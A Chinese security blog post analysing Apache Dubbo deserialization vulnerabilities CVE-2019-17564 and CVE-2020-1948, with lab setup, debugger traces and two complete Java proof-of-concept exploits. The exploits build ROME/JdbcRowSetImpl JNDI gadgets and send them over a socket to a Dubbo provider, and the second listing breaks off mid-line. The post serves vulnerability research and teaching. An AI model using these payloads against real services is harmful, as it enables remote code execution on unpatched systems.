apache Dubbo反序列化全集

2025-03-01 28 0

首先,先介绍一下JAVA RPC

apache Dubbo反序列化

JAVA RPC

Java RPC(Remote Procedure Call)是一种允许在分布式系统中执行跨进程通信的技术。它使得一个程序可以调用位于不同地址空间(通常是不同的计算机上)的方法,就像调用本地方法一样,而不需要关注底层的网络通信细节。Java RPC 在分布式系统开发中具有重要作用,常用于微服务架构和分布式应用程序。

  • JAVA RPC的工作原理:

其实RMI就是属于一种JAVA RPC。

客户端通过调用Client Stub的方法发起请求,代理对象将方法调用和参数封装为请求消息。然后把消息序列化后发送,服务端也有Server Stub接收请求消息,反序列化为方法调用和参数。然后服务端调用实际的方法并序列化结果传输给Client Stub。

注册中心用于记录服务的地址信息,常用的构建工具有Zookeeper、Eureka、Consul。Dubbo官方推荐为Zookeeper

  • JAVA 中的RPC框架:包括JAVA RMI、gRPC、Dubbo、Thrift,这些框架的对比如下

apache Dubbo反序列化全集插图

hessian 是一种跨语言的高效二进制序列化方式。但Dubbo Hessian实际不是原生的 hessian2 序列化,而是阿里修改过的 hessian lite

Dubbo

Dubbo 提供了内置 RPC 通信协议实现,但它不仅仅是一款 RPC 框架。首先,它不绑定某一个具体的 RPC 协议,开发者可以在基于 Dubbo 开发的微服务体系中使用多种通信协议;其次,除了 RPC 通信之外,Dubbo 提供了丰富的服务治理能力与生态。

在Dubbo架构中,服务端和客户端分别被称作Provider(提供者)、Consumer(消费者)

apache Dubbo反序列化全集插图1

环境搭建

下载zookeeper官网的稳定版

https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz

修改conf目录下的zoo_sample.cfg,名称改为zoo.cfg,创建data和log目录,配置内容如下:

tickTime=2000
initLimit=10
syncLimit=5
dataDir=C:\\Users\\xxx\\Desktop\\zookeeper‐3.4.14\\conf\\data
dataLogDir=C:\\Users\\xxx\\Desktop\\zookeeper‐3.4.14\\conf\\log
clientPort=2181

windows下双击bin目录下的zkServer.cmd即可启动

apache Dubbo反序列化全集插图2

根据dubbo官网可以快速创建一个基于Spring Boot的Dubbo应用,不过是3.3版本的dubbo:

https://dubbo-202409.staged.apache.org/zh-cn/overview/mannual/java-sdk/quick-start/spring-boot/

2.6.x版本的环境:

https://github.com/apache/dubbo-samples/tree/2.6.x

zookeeper归档:

https://archive.apache.org/dist/zookeeper/

解释一下spring xml中的配置:

  • 配置协议:

<dubbo:protocol name="dubbo" port="20880" />
  • 设置服务默认协议

<dubbo:provider protocol="dubbo" />
  • 设置服务协议

<dubbo:service protocol="dubbo" />

比如用hessian协议:

<dubbo:service protocol="hessian"/>
  • 多端口

<dubbo:protocol   name="dubbo" port="20880" />
<dubbo:protocol   name="dubbo" port="20881" />

引用服务:

<dubbo:reference protocol="hessian"/>

http协议暴露服务:

<bean    />

<dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/>

CVE-2019-17564

该漏洞源于dubbo开启http协议后,会把消费者提交的请求在无安全校验的情况下交给spring-web.jar处理,在request.getInputStream被反序列化

  • 漏洞范围:

2.7.0 <= Apache Dubbo <= 2.7.4
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x

直接看到dubbo-sample-http模块

apache Dubbo反序列化全集插图3

在该模块下添加CC依赖测试漏洞

改下http port为80,原来是8080,和burp冲突了

apache Dubbo反序列化全集插图4

官方给的demo不用单独开个zookeeper,代码已经集成了。如果想单独开一个可以把new EmbeddedZooKeeper注释掉

apache Dubbo反序列化全集插图5

bp向/org.apache.dubbo.samples.http.api.DemoService打CC链,弹出计算器

apache Dubbo反序列化全集插图6

弹不出的看下request 16进制,0d 0a 0d 0a换行后紧接的应该是ac ed 00 05的反序列化头

apache Dubbo反序列化全集插图7

就不从头分析了,分发过程太复杂了

断点打在com.alibaba.dubbo.remoting.http.servlet.DispatcherServlet#service

apache Dubbo反序列化全集插图8

在2.7.x版本软件包已经从com.alibaba转移到了org.apache

org.apache.dubbo.remoting.http.servlet

而且rpc软件包也进行了修改,使用2.7版本进行测试,环境使用下面的demo,此处省略

https://github.com/apache/dubbo-spring-boot-project/tree/2.7.x

pom区别:2.6.x:

<dependency>

com.alibaba
Dubbo
2.6.7

2.7.x:

org.apache.dubbo
dubbo
2.7.3

由于协议是http,进入该DispatcherServlet

判断了是否为POST,否则返回500

apache Dubbo反序列化全集插图9

此时的skeleton是HttpInvokerServiceExporter,这是个spring http的类

apache Dubbo反序列化全集插图10

继续调用HttpInvokerServiceExporter.handleRequest

apache Dubbo反序列化全集插图11

apache Dubbo反序列化全集插图12

跟进到readRemoteInvocation,先调用createObjectInputStream创建一个ObjectInputStream

apache Dubbo反序列化全集插图13

这里参数里的is就是我们POST的数据,等于说就是用ObjectInputStream封装了参数is

apache Dubbo反序列化全集插图14

然后调用doReadRemoteInvocation,里面直接调用了readObject,触发反序列化漏洞

apache Dubbo反序列化全集插图15

但是这个洞有很多限制:

  1. Dubbo默认通信协议是Dubbo协议,而不是HTTP

  2. 需要提前知道目标的RPC接口名

在2.7.5及以后版本不再使用HttpInvokerServiceExporter处理http请求,而是使用com.googlecode.jsonrpc4j.JsonRpcServer,调用其父类的JsonRpcBasicServer#handle处理

apache Dubbo反序列化全集插图16

CVE-2020-1948 Hessian反序列化

  • 漏洞范围:

Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
在实际测试中2.7.8补丁绕过可以打,而2.7.9失败

在marshalsec中,给了Hessian的几条利用链:

Rome、XBean、Resin、SpringPartiallyComparableAdvisorHolder、SpringAbstractBeanFactoryPointcutAdvisor

ROME链

调试前关闭启用"toString"对象试图,否则漏洞会提前触发

apache Dubbo反序列化全集插图17

由于2.6.x和2.7.x的dubbo包名不同,所以反序列化的payload也不同。如果目标是2.6.x则payload对应修改为com.alibaba.dubbo,如果目标是2.7.x则payload对应修改为org.apache.dubbo

2.7.3的环境:

https://github.com/apache/dubbo-spring-boot-project/tree/2.7.3

使用该demo的dubbo-spring-boot-samples/auto-configure-samples的provider-sample DubboAutoConfigurationProviderBootStrap

apache Dubbo反序列化全集插图18

在provider-samples下的pom中加入rome依赖

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.8.0</version>
</dependency>

apache Dubbo反序列化全集插图19

JNDI注入如下:

注意引入dubbo、rome和已编译的marshalsec作为依赖,自带了zk,不用单独开了

<repositories>
    <repository>
        <id>org.example</id>
        <name>marshalsec</name>
        <url>file:${project.basedir}/lib</url>
    </repository>
</repositories>

    <dependency>
        <groupId>org.exploit</groupId>
        <artifactId>marshalsec</artifactId>
        <version>1.0</version>
        <scope>system</scope>
       <systemPath>${project.basedir}/lib/marshalsec-0.0.3-SNAPSHOT-all.jar</systemPath>
    </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.8.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>Dubbo</artifactId>
            <version>2.7.3</version>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.38</version>
        </dependency>

漏洞触发点1

该触发点可以一直沿用到2.7.13

POC:

package org.exploit.third.Dubbo;

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;

import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
//Apache Dubbo 2.7.0 ~ 2.7.13
//Apache Dubbo 2.6.0 ~ 2.6.7
//Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
//在实际测试中2.7.8补丁绕过

public class GadgetsTestHessian {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此处填写ldap url
        rs.setDataSourceName("ldap://127.0.0.1:8085/GQOsPFQU");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 1);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 1);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此处填写被攻击的dubbo服务提供者地址和端口
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

第一个断点打在org.apache.dubbo.rpc.protocol.dubbo.DubboCountCodec#decode()

apache Dubbo反序列化全集插图20

跟进到ExchangeCodec.decode,调用了另一个同名函数decode

apache Dubbo反序列化全集插图21

该decode就是先检查魔数、数据长度、负载是否符合要求,如果没问题就调用decodeBody解码消息体,跟进decodeBody

apache Dubbo反序列化全集插图22

apache Dubbo反序列化全集插图23

DubboCodec#decodeBody()是Dubbo解码Dubbo协议消息体的主要函数,根据消息类型(请求或响应)进行不同的处理,如下图if为真就作为响应处理

apache Dubbo反序列化全集插图24

我们发起的攻击是request,所以进入else。先跟进到CodecSupport.deserialize()

apache Dubbo反序列化全集插图25

通过getSerialization获取反序列化器

apache Dubbo反序列化全集插图26

反序列化器用一个HashMap静态变量ID_SERIALIZATION_MAP存储了

apache Dubbo反序列化全集插图27

根据url和id,用的键为2的反序列化器,也就是Hessian2Serialization

apache Dubbo反序列化全集插图28

apache Dubbo反序列化全集插图29

接着就能跟进到Hessian2Serialization.deserialize,实例化了一个Hessian2ObjectInput

apache Dubbo反序列化全集插图30

中间有些loadClass加载caucho hessian类的过程

apache Dubbo反序列化全集插图31

可以看见后面返回的封装内容,其中_is就是我们传入的payload流

apache Dubbo反序列化全集插图32

随后调用了ExchangeCodec.decodeHeartbeatData

apache Dubbo反序列化全集插图33

在该方法内直接调用了Hessian2ObjectInput.readObject

apache Dubbo反序列化全集插图34

继续跟进到Hessian2Input.readObject(List<Class<?>> expectedTypes)处,直接跳到了case H(为什么是H后面会说),这里发现是取的Map的反序列化器

apache Dubbo反序列化全集插图35

所以跳到了MapDeserializer.readMap,并调用了doReadMap

apache Dubbo反序列化全集插图36

apache Dubbo反序列化全集插图37

doReadMap循环readObject输入流,只不过此处的readObject是Hessian的readObject而不是原生的ObjectInputStream

apache Dubbo反序列化全集插图38

OK此处用Hessian反序列化出了EqualsBean

apache Dubbo反序列化全集插图39

在还原出EqualsBean后,会调用map.put

apache Dubbo反序列化全集插图40

在put的时候,进入经典的put -> hash -> EqualsBean.hashCode() 触发ROME链的过程

apache Dubbo反序列化全集插图41

现在我们回过头来可以发现,为什么会进入case H? 因为我们传输的就是个hashMap,以h打头,而且也解释了为什么会直接取的是MapDeserializer

而且在还原对象的时候,跟进到in.readObject

apache Dubbo反序列化全集插图42

继续跟进五步左右,看到调用了instantiate

apache Dubbo反序列化全集插图43

所以dubbo hessian反序列化是通过构造函数还原的类

apache Dubbo反序列化全集插图44

payload之所以用反射装填hashMap,是怕提前触发了map.put

按理说hashMap.put也OK:

package org.exploit.third.Dubbo;

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import marshalsec.HessianBase;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.Socket;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Random;

//Apache Dubbo 2.7.0 ~ 2.7.6
//Apache Dubbo 2.6.0 ~ 2.6.7
//Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。
//在实际测试中2.7.8补丁绕过可以打,而2.7.9失败

public class diyTestHessian {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此处填写ldap url
        rs.setDataSourceName("ldap://127.0.0.1:8085/GQOsPFQU");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);
        JdbcRowSetImpl rs1 = new JdbcRowSetImpl();

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs1);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        s.put(root,root);
        Field field = ToStringBean.class.getDeclaredField("obj");
        field.setAccessible(true);
        field.set(item,rs);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此处填写被攻击的dubbo服务提供者地址和端口
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = s

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

本地密码管理工具——python
小白首选最新版VMware Workstation Pro详细下载和安装教程
代码审计——SpringBoot SpEL 表达式注入漏洞
Zyxel Telnet 漏洞分析(CVE-2025-0890、CVE‑2024‑40891)
CISA警告VMware漏洞正遭积极利用,敦促企业立即修补
LibreOffice 严重漏洞:攻击者可通过宏 URL 执行任意脚本

发布评论